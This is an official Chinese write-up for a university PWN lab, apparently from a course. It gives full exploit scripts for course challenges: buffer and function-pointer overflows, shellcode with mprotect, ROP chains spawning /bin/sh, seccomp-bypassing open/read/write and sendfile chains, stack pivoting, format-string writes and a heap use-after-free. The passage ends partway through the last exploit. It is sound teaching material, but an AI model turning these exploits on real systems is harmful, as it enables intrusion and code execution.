二级信安实践 PWN 部分的官方题解,包括附加题。部分题目提供了多种解题思路。
实验的解题代码和附件已经公开在 github 仓库 中。
超安全的嗨客笔记
题目分为两小问,第一问需要溢出修改函数指针,第二问则需要 getshell.
缓冲区要被注满了
借助调试工具或者观察代码可以发现,函数指针 void (*cmdtb[2])()
在内存中的位置是紧贴在输入缓冲区下面的,而这里的输入函数存在缓冲区溢出:
int get_a_num () {
gets ( input );
return atoi ( input );
}
本次实验的所有题目都提供了源码。事实上,使用 gcc 对源码进行编译或者使用现代编辑器(如配置了 LSP 的 nvim )打开源码就可以发现漏洞所在:
不过这里溢出的是 .bss 段上的全局变量 input,这并不会影响到栈,这也是此题和后面讲到的栈溢出区别所在。
第一问只需要溢出到 cmdtb 上把程序劫持到后门函数 flag1 中即可,同时这个程序也没有开启地址随机化的保护,直接用调试中得到的函数地址偏移量即可,exp 关键部分如下:
def cmd ( data ):
ru ( b " cmd> " )
sl ( data )
def call_func ( data , idx = 0 , key = b "" ):
cmd ( data )
ru ( b " offset: " )
sl ( i2b ( idx ))
if data [: 1 ] == b " 1 " :
ru ( b " data: " )
sl ( key )
ru ( b " : " )
sl ( input ( " YOUR TOKEN: " ). encode ())
# ===========exp starts===========
flag1_addr = 0x 0000000000401FFA
call_func ( b " -31 \x00 " . ljust ( 8 , b " \x00 " ) + p64 ( flag1_addr ), 0 )
# ===========exp ends=============
ia ()
我们通过 call_func 触发负数溢出调用到前面写进去的 flag1 的地址实现利用,其中 -31 = -(0xf8 // 8)
。
该怎么 getshell 呢
第二问要求 getshell,即劫持控制流后实现任意代码执行的目标。根据实验教学顺序,我们这里先学习了 shellcode 的使用,讲义里也给出了 getshell 的 nasm 格式汇编代码:
mov rax, {bytes_binsh};
push rax;
mov rdi, rsp;
xor rsi, rsi;
xor rdx, rdx;
push SYS_execve;
pop rax;
syscall;
在 x86_64 架构下,进行函数调用需要先按照 rdi, rsi, rdx, rcx, r8, r9 的顺序将参数传入对应寄存器中,如这里把指向 "/bin/sh\x00"
字符串的指针放入 rdi,再将后面存放参数列表和函数列表的 rsi 和 rdx 置零。接下来需要把系统调用号传到 rax 中再执行 syscall。这样就能实现 getshell。
类似的,调用函数也需要先往寄存器中传参(如下面的调用 mprotect 函数):正常安全的情况下,程序中是没有既能写又能执行的内存区域的,本题中我们已经能够利用溢出来调用 gets 等函数来往内存空间中读取 shellcode,但是这时候直接把控制流劫持上去(调用目标地址,使 rip 指向 shellcode 开始处的地址)会报段错误,这是因为程序运行到了没有 x(执行)权限的内存。关于内存的属性可以在 gdb+pwndbg 中用命令 vmmap 进行查看。
mprotect 是 libc 函数,可以设置目标地址的权限:
# include < sys/mman.h >
int mprotect ( void * addr , size_t len , int prot );
exp 关键部分如下,其中先利用溢出修改了函数指针列表,使我们能够自由控制 mprotect 函数的参数,接下来先用 gets 传入 shellcode,再用 mprotect 设置内存权限为 7(即 rwx,对本题来说 5 也可以,这里真正传入的是第三个参数的长度,因此是 b”a”*7),最后调用 shellcode 成功 getshell:
# ===========exp starts===========
buf_addr = 0x 4c5000 + 8
# gets_addr = elf.symbols['gets']
gets_addr = 0x 418de0
# mprotect_addr = elf.symbols['mprotect']
mprotect_addr = 0x 452430
bytes_binsh = u64_ex ( b " /bin/sh \x00 " )
call_func ( b " 0 \x00 " . ljust ( 0x f8 , b " \x00 " ) + p64 ( buf_addr ) + p64 ( gets_addr ) + p64 ( mprotect_addr ))
# -1 => shellcode
# 0 => gets
# 1 => mprotect
shellcode = b " a " * 8
shellcode += asm ( f """
// execve(b"/bin/sh \x00 ", 0, 0);
mov rax, { bytes_binsh } ;
push rax;
mov rdi, rsp;
xor rsi, rsi;
xor rdx, rdx;
push SYS_execve;
pop rax;
syscall;
""" )
sl ( shellcode )
call_func ( i2b ( 1 ), 0x 1000 , b " a " * 7 )
call_func ( i2b ( - 1 ))
# ===========exp ends=============
实际上还有很多生成各种各样 shellcode 的方法,如直接调用 pwntools 或 pwncli 提供的模块:
# pwntools
asm ( shellcraft . sh ())
asm ( shellcraft . cat ( " flag " ))
# pwncli
ShellcodeMall . amd64 . execve_bin_sh
有时候题目或真实环境也会对 shellcode 的字符种类或长度进行限制,例如生成仅包含可见字符的 shellcode 等,可以用 ALPHA3 等工具来得到这样的 shellcode。
一些 ROP
上面第一道题利用了函数指针数组中存在的漏洞实现了控制流劫持,因此在调用 mprotrct 等函数时只需要控制输入的内容即可,但是在更多情况下目标程序中并没有东西来帮我们传入函数/系统调用的参数,这时候就需要手动去布置寄存器。ROP 就是为了解决这个问题而被提出的:既然函数调用时参数取决于寄存器的值,那我们就可以用程序中现有片段去设置寄存器的值(pop <reg>
会把栈上 rsp 所指内容弹到寄存器中),而紧跟的一句 ret 实际上相当于 pop rip,会把 pc 寄存器设置为栈上的下一个值。
通过连续布置这样的 ROP 片段,就能控制函数/系统调用的参数。
如果你想连续进行多个系统调用,请确保找到的 syscall 片段后面也跟着一句 ret。
对于 ROP-gadgets 的寻找,已经有很多工具了,如 ROPgadget,ropper,pwncli 等,甚至 objdump+文字编辑器就能胜任这一点。
ret2text
对于第一小问,正如其名,只需要直接溢出后将栈上的返回地址改成 gift 的地址即可:
# ===========exp starts===========
ru ( b ' Give me your data: \n ' )
payload = b " a " * ( 0x 20 + 8 )
payload += p64 ( 0x 401196 )
s ( payload )
# ===========exp ends=============
对齐栈试试
观察给出的第一小问源码可以发现,gift 函数中有一句很奇怪的内联汇编:
asm ( " pop %rax " );
按道理来说 getshell 不是只要调用 system(“sh”) 就行了吗?于是在第二小问中去掉了这句话,这时候可以发现一件很奇怪的事情:按照刚刚的思路来编写 exp,程序报错退出了。
这是栈没对齐导致的。
上一问的 pop rax 就是为了使调用 system 函数时栈对齐到 0x10。
面对这种情况,只需要在我们的 ROP 链前面加一句 ret 即可:
# ===========exp starts===========
ru ( b ' Give me your data: \n ' )
payload = b " a " * ( 0x 20 + 8 )
payload += p64 ( 0x 40118c )
# payload += p64(ret_addr)
payload += p64 ( 0x 00000000401196 )
# payload += p64(elf.symbols['gift'])
s ( payload )
# ===========exp ends=============
这下没有 gift 了
没有 gift 函数,意味着我们要自己想办法构造出能够 getshell 的 ROP 链,参考我们之前编写过的 shellcode,只需要把相同的思路用 ROP 链的形式写一遍,其中 59 是 SYS_execve 的系统调用号:
# ===========exp starts===========
syscall_ret = 0x 0000000000416f34
pop_rdi_ret = 0x 00000000004018c2
pop_rsi_ret = 0x 000000000040f1fe
pop_rdx_ret = 0x 00000000004017cf
pop_rax_ret = 0x 0000000000449337
# str_bin_sh = next(elf.search(b"/bin/sh\x00"))
str_bin_sh = 0x 00495004
ru ( b ' Give me your data: \n ' )
payload = b " a " * ( 0x 20 + 8 )
payload += p64 ( pop_rdi_ret ) + p64 ( str_bin_sh )
payload += p64 ( pop_rsi_ret ) + p64 ( 0 )
payload += p64 ( pop_rdx_ret ) + p64 ( 0 )
payload += p64 ( pop_rax_ret ) + p64 ( 59 )
payload += p64 ( syscall_ret )
s ( payload )
# ===========exp ends=============
还能 getshell 吗
第四问题目中加了禁用 execve 的限制,可以用 seccomp-tools 来进行检测:
❯ seccomp-tools dump ./ret2text-rev-rev-rev
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64 ) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff ) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve ) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
同时 main 函数中也增加了一个变量,我们栈溢出的 padding 不再是 0x20 而是 0x30 了,这点需要注意一下。
这时候我们是不能再 getshell 的:提示中给出这道题的思路为 orw,即连续使用 open+read+write 的系统/函数调用来把 flag 读出来,标准思路如下:
# ===========exp starts===========
syscall_ret = 0x 0000000000425E04
pop_rdi_ret = 0x 00000000004018C2
pop_rsi_ret = 0x 0000000000402828
pop_rdx_ret = 0x 00000000004017CF
pop_rax_ret = 0x 00000000004583C7
# str_flag = next(elf.search(b"/home/task3/flag4\x00"))
str_flag = 0x 004A4019
buf_addr = 0x 4DF000 + 0x 800
# ru(b'Give me your data: \n')
payload = b " a " * ( 0x 20 + 8 + 0x 10 )
# open("/flag", 0, 0);
payload += p64 ( pop_rdi_ret ) + p64 ( str_flag )
payload += p64 ( pop_rsi_ret ) + p64 ( 0 )
payload += p64 ( pop_rdx_ret ) + p64 ( 0 )
payload += p64 ( pop_rax_ret ) + p64 ( 2 )
payload += p64 ( syscall_ret )
# read(3, buf, 0x40);
payload += p64 ( pop_rdi_ret ) + p64 ( 3 )
payload += p64 ( pop_rsi_ret ) + p64 ( buf_addr )
payload += p64 ( pop_rdx_ret ) + p64 ( 0x 40 )
payload += p64 ( pop_rax_ret ) + p64 ( 0 )
payload += p64 ( syscall_ret )
# write(1, buf, 0x40)
payload += p64 ( pop_rdi_ret ) + p64 ( 1 )
payload += p64 ( pop_rax_ret ) + p64 ( 1 )
payload += p64 ( syscall_ret )
s ( payload )
# ===========exp ends=============
其中有几个值得注意的点:
漏洞程序的代码逻辑很简单,也没有额外打开其他的文件,因此可以确定 open 后得到的 fd 为 3(0,1,2 分别对应 stdin,stdout,stderr)。
我们需要找到一块地方作为缓冲区来存放我们读到的 flag,这需要确定一块可读可写的地址,可以通过 vmmap 来找到这样的地址(通常 .bss 段就满足要求)。
栈溢出的大小是有限的,这时候就要精简我们的 ROP 链,思路包括:使用一个参数的 gets/puts 函数来替代 read 和 write、系统调用前后参数寄存器的值不发生改变故去掉重复传入的 addr 和 length 参数(上面就采用了这个思路)、栈迁移等。
接下来看看本题的其他有趣的解法,不过由于长度限制,我们都需要先进行栈迁移:
即利用 leave; ret
,这是一种常用的栈迁移技术,通常用于在栈溢出漏洞中执行攻击代码。它利用了函数调用栈的恢复机制,以实现将程序的控制流转移到攻击者所控制的恶意代码位置。
“leave” 指令是 x86 架构汇编语言中的一条指令,它用于函数的出口操作。它的作用是将栈帧恢复到调用者的栈帧状态,并将栈指针(Stack Pointer,ESP)设置为基址指针(Base Pointer,EBP)的值,相当于执行了以下指令序列:
mov esp, ebp
pop ebp
“ret” 指令用于函数返回操作,它从调用栈中弹出返回地址,将程序的控制流转移到该地址处执行。
下面演示了本题使用 sendfile 的解法。先把栈迁移到可控区域,用 read 函数来读取 0xdeadbeef 个字符(足够长即可),接下来就可以传入任意的 ROP gadget,由于 sendfile 会记录当前读到的字符,所以只需要重复调用即可:
syscall_ret = 0x 0000000000425e04
pop_rdi_ret = 0x 00000000004018c2
pop_rsi_ret = 0x 0000000000402828
pop_rdx_ret = 0x 00000000004017cf
pop_rax_ret = 0x 00000000004583c7
str_flag = next ( elf . search ( b " /home/task3/flag4 \x00 " ))
lg ( " str_flag " )
buf_addr = 0x 4df000 + 0x 800
ru ( b ' Give me your data: \n ' )
payload = b " a " * ( 0x 20 + 8 + 0x 10 - 8 )
payload += p64 ( buf_addr )
payload += p64 ( pop_rdx_ret ) + p64 ( 0x deadbeef )
payload += p64 ( pop_rsi_ret ) + p64 ( buf_addr - 0x 30 )
payload += p64 ( pop_rdi_ret ) + p64 ( 0 )
payload += p64 ( 0x 401e28 )
s ( payload )
import time
time . sleep ( 1 )
payload = b " a " * 0x 30 + p64 ( buf_addr - 0x 30 )
payload += p64 ( pop_rdi_ret ) + p64 ( str_flag )
payload += p64 ( pop_rsi_ret ) + p64 ( 0 )
payload += p64 ( pop_rdx_ret ) + p64 ( 0 )
payload += p64 ( pop_rax_ret ) + p64 ( 2 )
payload += p64 ( syscall_ret )
payload += p64 ( pop_rdi_ret ) + p64 ( 1 )
payload += p64 ( pop_rsi_ret ) + p64 ( 3 )
payload += p64 ( pop_rdx_ret ) + p64 ( 0 )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 )
payload += p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
payload += p64 ( pop_rax_ret ) + p64 ( 0x 28 ) + p64 ( syscall_ret )
s ( payload )
同时由于是静态编译,这道题中也可以找到 mprotect 函数,于是就可以栈迁移后像第一题一样传入 catflag 的 shellcode 即可:
syscall_ret = 0x 0000000000425e04
pop_rdi_ret = 0x 00000000004018c2
pop_rsi_ret = 0x 0000000000402828
pop_rdx_ret = 0x 00000000004017cf
pop_rax_ret = 0x 00000000004583c7
str_flag = next ( elf . search ( b " /home/task3/flag4 \x00 " ))
lg ( " str_flag " )
buf_addr = 0x 4df000 + 0x 800
ru ( b ' Give me your data: \n ' )
payload = b " a " * ( 0x 20 + 8 + 0x 10 - 8 )
payload += p64 ( buf_addr )
payload += p64 ( pop_rdx_ret ) + p64 ( 0x deadbeef )
payload += p64 ( pop_rsi_ret ) + p64 ( buf_addr - 0x 30 )
payload += p64 ( pop_rdi_ret ) + p64 ( 0 )
payload += p64 ( 0x 401e28 )
s ( payload )
import time
time . sleep ( 1 )
shellcode_addr = 0x 4df000 + 0x 800 + 0x 500
payload = b " a " * 0x 30 + p64 ( buf_addr - 0x 30 )
payload += p64 ( pop_rdx_ret ) + p64 ( 7 )
payload += p64 ( pop_rsi_ret ) + p64 ( 0x 1000 )
payload += p64 ( pop_rdi_ret ) + p64 ( buf_addr & 0x ffffffff000 )
payload += p64 ( elf . sym [ " mprotect " ])
payload += p64 ( shellcode_addr )
payload = payload . ljust (( shellcode_addr - ( buf_addr - 0x 30 )), b " \x00 " )
payload += asm ( r """
/ * push b'/home/task3/flag4 \x00 ' * /
push 0x34
mov rax, 0x67616c662f336b73
push rax
mov rax, 0x61742f656d6f682f
push rax
/ * call open ( 'rsp', 'O_RDONLY', 'rdx' ) * /
push SYS_open / * 2 * /
pop rax
mov rdi, rsp
xor esi, esi / * O_RDONLY * /
syscall
/ * call sendfile ( 1, 'rax', 0, 0x7fffffff ) * /
mov r10d, 0x7fffffff
mov rsi, rax
push SYS_sendfile / * 0x28 * /
pop rax
push 1
pop rdi
cdq / * rdx=0 * /
syscall
""" )
s ( payload )
你的名字2
这是一道格式化字符串的题目,也是我们第一道保护全开的题目,不过由于格式化字符串的存在,利用起来思路并不复杂:提示中给出了用于生成 %x$hhn 的函数,因此只需要布置好栈上指向目标地址的指针,进而布置 ROP 链即可:
# ===========exp starts===========
current_n = 0
def generate_hhn_payload ( distance , hhn_data ):
global current_n
offset = ( distance // 8 ) + 6
if hhn_data > current_n :
temp = hhn_data - current_n
elif hhn_data < current_n :
temp = 0x 100 - current_n + hhn_data
elif hhn_data == current_n :
return b " % " + i2b ( offset ) + b " hhn "
current_n = hhn_data
return b " % " + i2b ( temp ) + b " c% " + i2b ( offset ) + b " $hhn "
ru ( b " : " )
sl ( input ( " YOUR TOKEN: " ). encode ())
ru ( b " What's your name? \n " ) ;
current_n = 0
payload = b " %40$p.%41$p.%43$p. "
sl ( payload )
# input()
stack_buf = int ( ru ( b " . " , " drop " ), 16 ) - 0x 120
elf_base = int ( ru ( b " . " , " drop " ), 16 ) - 0x 1307
libc_base = int ( ru ( b " . " , " drop " ), 16 ) - 0x 29d90
lg ( " stack_buf " )
lg ( " elf_base " )
lg ( " libc_base " )
ru ( b ' ? Why is your name so strange? I want your real name!! \n ' )
current_n = 0
payload = generate_hhn_payload ( 0x c0 , 2 )
payload = payload . ljust ( 0x c0 , b " \x00 " )
payload += p64 ( stack_buf + 0x 118 )
sl ( payload )
pop_rdi_ret = libc_base + 0x 000000000002a3e5
ret_addr = pop_rdi_ret + 1
bin_sh_str = libc_base + 0x 1d8698
system_addr = libc_base + 331104
# bin_sh_str = libc_base + next(libc.search(b"/bin/sh\x00"))
# system_addr = libc_base + libc.sym.system
ru ( b " What's your name? \n " ) ;
current_n = 0
payload = generate_hhn_payload ( 0x c0 , 2 )
payload = payload . ljust ( 0x c0 , b " \x00 " )
payload += p64 ( stack_buf + 0x 118 )
sl ( payload )
ru ( b ' ? Why is your name so strange? I want your real name!! \n ' )
current_n = 0
payload = generate_hhn_payload ( 0x c0 , ( ( pop_rdi_ret ) & 0x ff ) )
payload += generate_hhn_payload ( 0x c8 , ( ( pop_rdi_ret >> 8 ) & 0x ff ) )
payload += generate_hhn_payload ( 0x d0 , ( ( pop_rdi_ret >> 16 ) & 0x ff ))
payload += generate_hhn_payload ( 0x d8 , ( ( pop_rdi_ret >> 24 ) & 0x ff ))
payload += generate_hhn_payload ( 0x e0 , ( ( pop_rdi_ret >> 32 ) & 0x ff ))
payload += generate_hhn_payload ( 0x e8 , ( ( pop_rdi_ret >> 40 ) & 0x ff ))
payload = payload . ljust ( 0x c0 , b " \x00 " )
payload += p64 ( stack_buf + 8 + 0x 118 )
payload += p64 ( stack_buf + 8 + 0x 119 )
payload += p64 ( stack_buf + 8 + 0x 11a )
payload += p64 ( stack_buf + 8 + 0x 11b )
payload += p64 ( stack_buf + 8 + 0x 11c )
payload += p64 ( stack_buf + 8 + 0x 11d )
sl ( payload )
ru ( b " What's your name? \n " ) ;
current_n = 0
payload = generate_hhn_payload ( 0x c0 , 2 )
payload = payload . ljust ( 0x c0 , b " \x00 " )
payload += p64 ( stack_buf + 0x 118 )
sl ( payload )
ru ( b ' ? Why is your name so strange? I want your real name!! \n ' )
current_n = 0
payload = generate_hhn_payload ( 0x c0 , (( bin_sh_str ) & 0x ff ) )
payload += generate_hhn_payload ( 0x c8 , ( ( bin_sh_str >> 8 ) & 0x ff ) )
payload += generate_hhn_payload ( 0x d0 , ( ( bin_sh_str >> 16 ) & 0x ff ))
payload += generate_hhn_payload ( 0x d8 , ( ( bin_sh_str >> 24 ) & 0x ff ))
payload += generate_hhn_payload ( 0x e0 , ( ( bin_sh_str >> 32 ) & 0x ff ))
payload += generate_hhn_payload ( 0x e8 , ( ( bin_sh_str >> 40 ) & 0x ff ))
payload = payload . ljust ( 0x c0 , b " \x00 " )
payload += p64 ( stack_buf + 16 + 0x 118 )
payload += p64 ( stack_buf + 16 + 0x 119 )
payload += p64 ( stack_buf + 16 + 0x 11a )
payload += p64 ( stack_buf + 16 + 0x 11b )
payload += p64 ( stack_buf + 16 + 0x 11c )
payload += p64 ( stack_buf + 16 + 0x 11d )
sl ( payload )
ru ( b " What's your name? \n " ) ;
current_n = 0
payload = generate_hhn_payload ( 0x c0 , 2 )
payload = payload . ljust ( 0x c0 , b " \x00 " )
payload += p64 ( stack_buf + 0x 118 )
sl ( payload )
ru ( b ' ? Why is your name so strange? I want your real name!! \n ' )
current_n = 0
payload = generate_hhn_payload ( 0x c0 , (( system_addr ) & 0x ff ) )
payload += generate_hhn_payload ( 0x c8 , ( ( system_addr >> 8 ) & 0x ff ) )
payload += generate_hhn_payload ( 0x d0 , ( ( system_addr >> 16 ) & 0x ff ))
payload += generate_hhn_payload ( 0x d8 , ( ( system_addr >> 24 ) & 0x ff ))
payload += generate_hhn_payload ( 0x e0 , ( ( system_addr >> 32 ) & 0x ff ))
payload += generate_hhn_payload ( 0x e8 , ( ( system_addr >> 40 ) & 0x ff ))
payload = payload . ljust ( 0x c0 , b " \x00 " )
payload += p64 ( stack_buf + 24 + 0x 118 )
payload += p64 ( stack_buf + 24 + 0x 119 )
payload += p64 ( stack_buf + 24 + 0x 11a )
payload += p64 ( stack_buf + 24 + 0x 11b )
payload += p64 ( stack_buf + 24 + 0x 11c )
payload += p64 ( stack_buf + 24 + 0x 11d )
sl ( payload )
ru ( b " What's your name? \n " ) ;
current_n = 0
payload = generate_hhn_payload ( 0x c0 , 2 )
payload = payload . ljust ( 0x c0 , b " \x00 " )
payload += p64 ( stack_buf + 0x 118 )
sl ( payload )
ru ( b ' ? Why is your name so strange? I want your real name!! \n ' )
current_n = 0
payload = generate_hhn_payload ( 0x c0 , (( ret_addr ) & 0x ff ) )
payload += generate_hhn_payload ( 0x c8 , ( ( ret_addr >> 8 ) & 0x ff ) )
payload += generate_hhn_payload ( 0x d0 , ( ( ret_addr >> 16 ) & 0x ff ))
payload += generate_hhn_payload ( 0x d8 , ( ( ret_addr >> 24 ) & 0x ff ))
payload += generate_hhn_payload ( 0x e0 , ( ( ret_addr >> 32 ) & 0x ff ))
payload += generate_hhn_payload ( 0x e8 , ( ( ret_addr >> 40 ) & 0x ff ))
payload = payload . ljust ( 0x c0 , b " \x00 " )
payload += p64 ( stack_buf + 0 + 0x 118 )
payload += p64 ( stack_buf + 0 + 0x 119 )
payload += p64 ( stack_buf + 0 + 0x 11a )
payload += p64 ( stack_buf + 0 + 0x 11b )
payload += p64 ( stack_buf + 0 + 0x 11c )
payload += p64 ( stack_buf + 0 + 0x 11d )
sl ( payload )
# ===========exp ends=============
其实 libc 中也存在 ONE_GADGET
,即直接 getshell 的代码片段,感兴趣的同学可以自行了解。
编译原理大作业
这是一道为了体现我们科大网安的编译原理h水平而出的附加题(并不算分),其实只是用 llvm pass 来包装了一下原本放在这里的一道堆题,漏洞出现在 FunctionPass 中处理函数名为 qiaoKe 时的 free 后未置零(即 UAF):
if ( Name == " qiaoKe " ) {
// delet
if ( arg_count != 2 ) {
return false ;
}
unsigned int stu_id = dyn_cast < ConstantInt > ( inst -> getArgOperand ( 0 ))-> getZExtValue ();
if ( stu_id >= 0x 10 || ! studentList [ stu_id ]){
return false ;
}
free ( studentList [ stu_id ]);
// studentList[stu_id] = 0;
}
用的 libc 版本是 2.31,于是可以直接用 unsorted bin 获得 libc 地址,用 tcache 打 malloc hook 即可。
使用 clang-10 -emit-llvm ./exp.c -S -o ./exp.ll
得到 ll 代码,使用 ./opt-10 -load ./bianYiYuanLiXiTiKe.so -bianYiYuanLiXiTiKe /root/workspace/ustc-pwn-tutorial/attachments/chp4/chpe-0/exp.ll
本地运行测试。
利用代码如下:
# define ONE_GADGET 0x e3afe
# define MAIN_ARE_OFF 0x 1ecbe0
# define MALLOC_HOOK 0x 1ecb70
void qiaoKe ( int );
void dianMing ( char * , int );
void daBian ( int );
void xiaoCe ( int );
void add ( int , long );
void mov ( int , int );
void classBegin () {
dianMing (
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
